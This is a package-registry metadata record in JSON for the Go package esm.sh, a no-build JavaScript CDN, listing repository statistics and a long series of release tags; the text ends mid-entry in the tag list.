{"id":4428476,"name":"github.com/esm-dev/esm.sh","ecosystem":"go","description":"","homepage":"https://github.com/esm-dev/esm.sh","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/esm-dev/esm.sh","keywords_array":[],"namespace":"github.com/esm-dev","versions_count":9,"first_release_published_at":"2026-05-22T09:28:03.000Z","latest_release_published_at":"2026-10-08T04:44:57.000Z","latest_release_number":"v0.2.0","last_synced_at":"2026-10-16T16:31:00.237Z","created_at":"2022-05-24T14:23:13.190Z","updated_at":"2026-10-16T17:42:32.992Z","registry_url":"https://pkg.go.dev/github.com/esm-dev/esm.sh","install_command":"go get github.com/esm-dev/esm.sh","documentation_url":"https://pkg.go.dev/github.com/esm-dev/esm.sh#section-documentation","metadata":null,"repo_metadata":{"id":37005168,"uuid":"293257779","full_name":"esm-dev/esm.sh","owner":"esm-dev","description":"A no-build JavaScript CDN for modern web development.","archived":false,"fork":false,"pushed_at":"2026-10-14T09:32:40.000Z","size":14518,"stargazers_count":4182,"open_issues_count":195,"forks_count":227,"subscribers_count":14,"default_branch":"main","last_synced_at":"2026-10-16T00:20:07.516Z","etag":null,"topics":["cdn","esm","nobuild","web-development"],"latest_commit_sha":null,"homepage":"https://esm.sh","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/esm-dev.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG-CLI.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"accessibility":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"esm-dev","open_collective":"esm"}},"created_at":"2020-09-06T11:00:24.000Z","updated_at":"2026-10-15T09:35:21.000Z","dependencies_parsed_at":"2026-10-16T01:03:38.679Z","dependency_job_id":null,"html_url":"https://github.com/esm-dev/esm.sh","commit_stats":{"total_commits":2563,"total_committers":67,"mean_commits":38.25373134328358,"dds":0.1595786188060866,"last_synced_commit":"4b3e22e2f31b2bf61cea43e26597a9161f5d6f11"},"previous_names":["ije/esm.sh","alephjs/esm.sh","postui/esmm","postui/esm.sh"],"tags_count":123,"template":false,"template_full_name":null,"purl":"pkg:github/esm-dev/esm.sh","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/esm-dev","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344836268,"owners_count":38330446,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-16T02:00:06.653Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"esm-dev","name":"ESM\u003eLabs","uuid":"95489976","kind":"organization","description":"Using JavaScript Modules.","email":null,"website":"https://esm.sh","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/95489976?v=4","repositories_count":4,"last_synced_at":"2024-10-29T13:07:10.124Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/esm-dev","funding_links":[],"total_stars":2835,"followers":55,"following":0,"created_at":"2023-03-21T07:00:07.595Z","updated_at":"2024-10-29T13:07:10.125Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/esm-dev","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/esm-dev/repositories"},"tags":[{"name":"v139_3","sha":"a21c423cc6467c404d56dbb8303f9b4166b00f30","kind":"tag","published_at":"2026-10-08T04:47:12.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v139_3","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v139_3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v139_3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v139_3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v139_3/manifests"},{"name":"v0.2.0","sha":"dff22a60b6e08ca5b83f60bd7e13bae9119a1c64","kind":"tag","published_at":"2026-10-08T04:46:57.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v0.2.0","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v0.2.0/manifests"},{"name":"v139_2","sha":"fdf42ab72580cc883454267afeb9a7e3163e03aa","kind":"tag","published_at":"2026-09-21T08:56:18.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v139_2","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v139_2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v139_2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v139_2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v139_2/manifests"},{"name":"v139_1","sha":"53b2a7500d1f7bfd01a3d0f7d1a2245061e93628","kind":"tag","published_at":"2026-09-17T00:38:30.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v139_1","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v139_1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v139_1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v139_1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v139_1/manifests"},{"name":"v139","sha":"060b3ba4ace8dce54e1a2e6edc3cc4219e400181","kind":"tag","published_at":"2026-09-14T09:32:18.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v139","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v139","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v139","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v139","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v139/manifests"},{"name":"v138","sha":"3b45af3e19d58481c54851cd2f636c1242f3746b","kind":"tag","published_at":"2026-08-24T14:44:36.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v138","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v138","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v138","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v138","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v138/manifests"},{"name":"v137_8","sha":"3f5f4ff3b3407a55bda0af159f435e57ba6ed8db","kind":"tag","published_at":"2026-07-29T07:44:19.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137_8","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137_8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_8/manifests"},{"name":"v137_7","sha":"96e48ae9861c51ade17e49f43e42d77843ad95aa","kind":"tag","published_at":"2026-07-26T07:15:28.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137_7","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137_7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_7/manifests"},{"name":"v137_6","sha":"da07c14211774752e9314016dc6e3c94a916edd7","kind":"tag","published_at":"2026-07-06T00:17:46.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137_6","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137_6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_6/manifests"},{"name":"v0.1.1","sha":"dadfbd76919d487bf2e6a827573510b00d779d67","kind":"tag","published_at":"2026-06-11T03:11:40.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v0.1.1","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v0.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v0.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v0.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v0.1.1/manifests"},{"name":"v137_5","sha":"8344d67895a734dce8ba22b552272b98a960dc93","kind":"tag","published_at":"2026-06-09T04:08:01.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137_5","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137_5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_5/manifests"},{"name":"v137_4","sha":"310a6d83e3d826b6be85dc7c0eddc7127f6aa3e2","kind":"tag","published_at":"2026-05-13T13:33:25.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137_4","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137_4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_4/manifests"},{"name":"v137_3","sha":"1960055e1d5361d5773c1868a05fbdbed8607b40","kind":"tag","published_at":"2026-05-08T10:01:39.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137_3","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137_3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_3/manifests"},{"name":"v137_2","sha":"3ee8df85aa653525b5a51e0f46fe6c024d8e8e35","kind":"tag","published_at":"2026-04-30T03:44:04.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137_2","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137_2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_2/manifests"},{"name":"v137_1","sha":"12d4b1cca449b66198d1daebe83cdf61fd700d2e","kind":"tag","published_at":"2026-04-28T01:17:57.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137_1","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137_1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137_1/manifests"},{"name":"v137","sha":"bb69b0306fb6d45f6c3919b4457e57a72ed14236","kind":"tag","published_at":"2026-02-25T23:26:26.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v137","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v137","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v137","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v137/manifests"},{"name":"v136_1","sha":"a36faae40970bb3fff2584abc690095f2c8f9bd0","kind":"tag","published_at":"2025-10-07T14:12:19.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v136_1","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v136_1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v136_1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v136_1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v136_1/manifests"},{"name":"v136","sha":"1ad31b6352bb0a064ece812f6f360e4850e16051","kind":"tag","published_at":"2025-01-13T09:10:39.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v136","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v136","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v136","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v136","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v136/manifests"},{"name":"v135_7","sha":"a64bcc24d0a77c8dab897fda439a17c2a2582a35","kind":"tag","published_at":"2024-11-13T14:15:20.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v135_7","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v135_7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v135_7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_7/manifests"},{"name":"v135_6","sha":"15492c569bb272dcd1bf5fa1ae1dddabc3fb9ce0","kind":"tag","published_at":"2024-09-03T12:26:28.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v135_6","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v135_6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v135_6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_6/manifests"},{"name":"v135_5","sha":"b4b2844df92511716864a81b7c48fe2f7b80d44f","kind":"tag","published_at":"2024-09-03T12:13:00.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v135_5","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v135_5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v135_5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_5/manifests"},{"name":"v135_4","sha":"6e30e0dc6138c8747e647dd9b768f2f166c543d4","kind":"tag","published_at":"2024-09-02T01:02:00.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v135_4","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v135_4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v135_4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_4/manifests"},{"name":"v135_3","sha":"bf9ec9406917f7afdbda5e92309f9fed8acbe2fb","kind":"tag","published_at":"2024-07-09T13:38:34.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v135_3","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v135_3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v135_3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_3/manifests"},{"name":"v135_2","sha":"f6f2795473146960421a9872f3205a189a203037","kind":"tag","published_at":"2024-03-01T09:31:00.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v135_2","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v135_2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v135_2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_2/manifests"},{"name":"v135_1","sha":"7b1f2bbd217ab83d89149aa05c24535d401fe950","kind":"tag","published_at":"2024-02-28T03:21:38.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v135_1","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v135_1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v135_1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135_1/manifests"},{"name":"v135","sha":"09f04c5b578913ed2a378b4b38b314e555ce646f","kind":"tag","published_at":"2023-11-22T22:04:32.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v135","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v135","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v135","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v135/manifests"},{"name":"v134","sha":"b81155c96c6a8cac8be151a5ff8fde9527b479c5","kind":"tag","published_at":"2023-11-14T13:45:34.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v134","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v134","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v134","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v134","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v134/manifests"},{"name":"v133","sha":"2a9f8ff028e0cc9c43a7d11cd7a2c56820a6646e","kind":"tag","published_at":"2023-10-08T04:51:55.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v133","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v133","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v133","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v133","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v133/manifests"},{"name":"v132","sha":"6774bc7fe06a445bc7ed068cce58b3b9f44ed524","kind":"tag","published_at":"2023-09-04T07:12:15.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v132","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v132","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v132","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v132","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v132/manifests"},{"name":"v131","sha":"1bd7365417fdff26d807c0a71c585506cbc83b4f","kind":"tag","published_at":"2023-08-15T05:53:32.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v131","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v131","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v131","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v131","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v131/manifests"},{"name":"v130","sha":"7be901c65b9ac9f8c67a01eeeab875aececddc9b","kind":"tag","published_at":"2023-07-28T13:21:22.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v130","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v130","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v130","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v130","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v130/manifests"},{"name":"v129","sha":"f4188298a2e679672afb1afd63ecc8faf07fbfa1","kind":"tag","published_at":"2023-07-22T10:31:17.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v129","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v129","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v129","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v129","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v129/manifests"},{"name":"v128","sha":"703ac3f8cca96889686642cce87bcbd9d51d5393","kind":"tag","published_at":"2023-07-06T00:52:44.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v128","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v128","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v128","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v128","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v128/manifests"},{"name":"v127","sha":"9c8ce3570616c064def2efc43927f0bb080cefaa","kind":"tag","published_at":"2023-07-02T16:57:07.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v127","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v127","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v127","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v127","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v127/manifests"},{"name":"v126","sha":"2f71f65ee6c55306ab735a2cd3a6eb94e3791173","kind":"tag","published_at":"2023-06-15T13:41:47.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v126","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v126","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v126","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v126","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v126/manifests"},{"name":"v125","sha":"ea01ee397bb57ed4deea3f2745859b5310cf000e","kind":"tag","published_at":"2023-06-06T18:35:59.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v125","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v125","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v125","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v125","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v125/manifests"},{"name":"v124","sha":"258f8a06d5ab0fa33f8423799dbb4e2c2e7ae561","kind":"tag","published_at":"2023-05-22T13:21:17.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v124","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v124/manifests"},{"name":"v123","sha":"314653d64170d0ac474bbe221a05b4edf94dbd97","kind":"tag","published_at":"2023-05-22T09:41:53.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v123","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v123","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v123","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v123","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v123/manifests"},{"name":"v122","sha":"d6709f3d5e22862b251663233bcee39c22eef23c","kind":"tag","published_at":"2023-05-17T09:22:08.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v122","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v122","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.sh@v122","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v122","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/esm-dev%2Fesm.sh/tags/v122/manifests"},{"name":"v121","sha":"f704bb855c1322bf5c0a2f3e16befe2b64607ea5","kind":"tag","published_at":"2023-05-14T17:07:44.000Z","download_url":"https://codeload.github.com/esm-dev/esm.sh/tar.gz/v121","html_url":"https://github.com/esm-dev/esm.sh/releases/tag/v121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/esm-dev/esm.